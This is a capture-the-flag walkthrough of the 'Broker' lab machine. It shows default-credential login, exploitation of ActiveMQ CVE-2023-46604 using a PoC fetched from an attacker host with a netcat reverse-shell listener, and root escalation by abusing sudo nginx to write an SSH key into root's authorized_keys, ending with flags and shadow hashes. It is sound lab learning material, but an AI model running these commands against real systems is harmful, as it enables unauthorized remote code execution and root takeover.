Broker
Recon
HTTP (80)
When visited we are prompted for username and password, so I just tested admin:admin
and it worked.

Creds:
admin:admin
/admin
endpoint shows the version of ActiveMQ which is 5.15.15

CVE-2023-46604
CVE-2023-46604, The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution...
CVE-2023-46604 PoC
└─$ git clone https://github.com/evkl1d/CVE-2023-46604.git
└─$ vi CVE-2023-46604/poc.xml
---
└─$ py -m http.server 80
---
└─$ rlwrap nc -lnvp 4444
---
└─$ py CVE-2023-46604/exploit.py -i 10.129.150.81 -u http://10.10.14.42/CVE-2023-46604/poc.xml

User.txt
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd
activemq@broker:~$ cat user.txt
9668cd1af2f292334666ddb0f3a4d901
Privilege Escalation
We can run nginx
as sudo.
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
└─$ ssh-keygen -f id_rsa -P x -q
└─$ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIECjGlqOyS4hvpqEb4UCogCeURdkD6dmbFajAefznSfP woyag@kraken
echo "[+] Creating configuration..."
echo -e "user root;\nworker_processes 4;\npid /tmp/nginx.pid;\nevents {\n\tworker_connections 768;\n}\nhttp {\n\tserver {\n\t\tlisten 1339;\n\t\troot /;\n\t\tautoindex on;\n\t\tdav_methods PUT;\n\t}\n}" > /tmp/nginx_pwn.conf
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIECjGlqOyS4hvpqEb4UCogCeURdkD6dmbFajAefznSfP woyag@kraken"
echo "[+] Use the SSH key to get access"
└─$ ssh root@10.129.150.81 -i id_rsa
root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)
root@broker:~# ls
cleanup.sh root.txt
root@broker:~# cat root.txt
632affbbe1f381f1cf81acbffcea6747
root@broker:~# cat /etc/shadow | grep ':\$'
root:$y$j9T$S6NkiGlTDU3IUcdBZEjJe0$sSHRUiGL/v4FZkWjU.HZ6cX2vsMY/rdFBTt25LbGxf1:19666:0:99999:7:::
activemq:$y$j9T$5eMce1NhiF0t9/ZVwn39P1$pCfvgXtARGXPYDdn2AVdkCnXDf7YO7He/x666g6qLM5:19666:0:99999:7:::
Last updated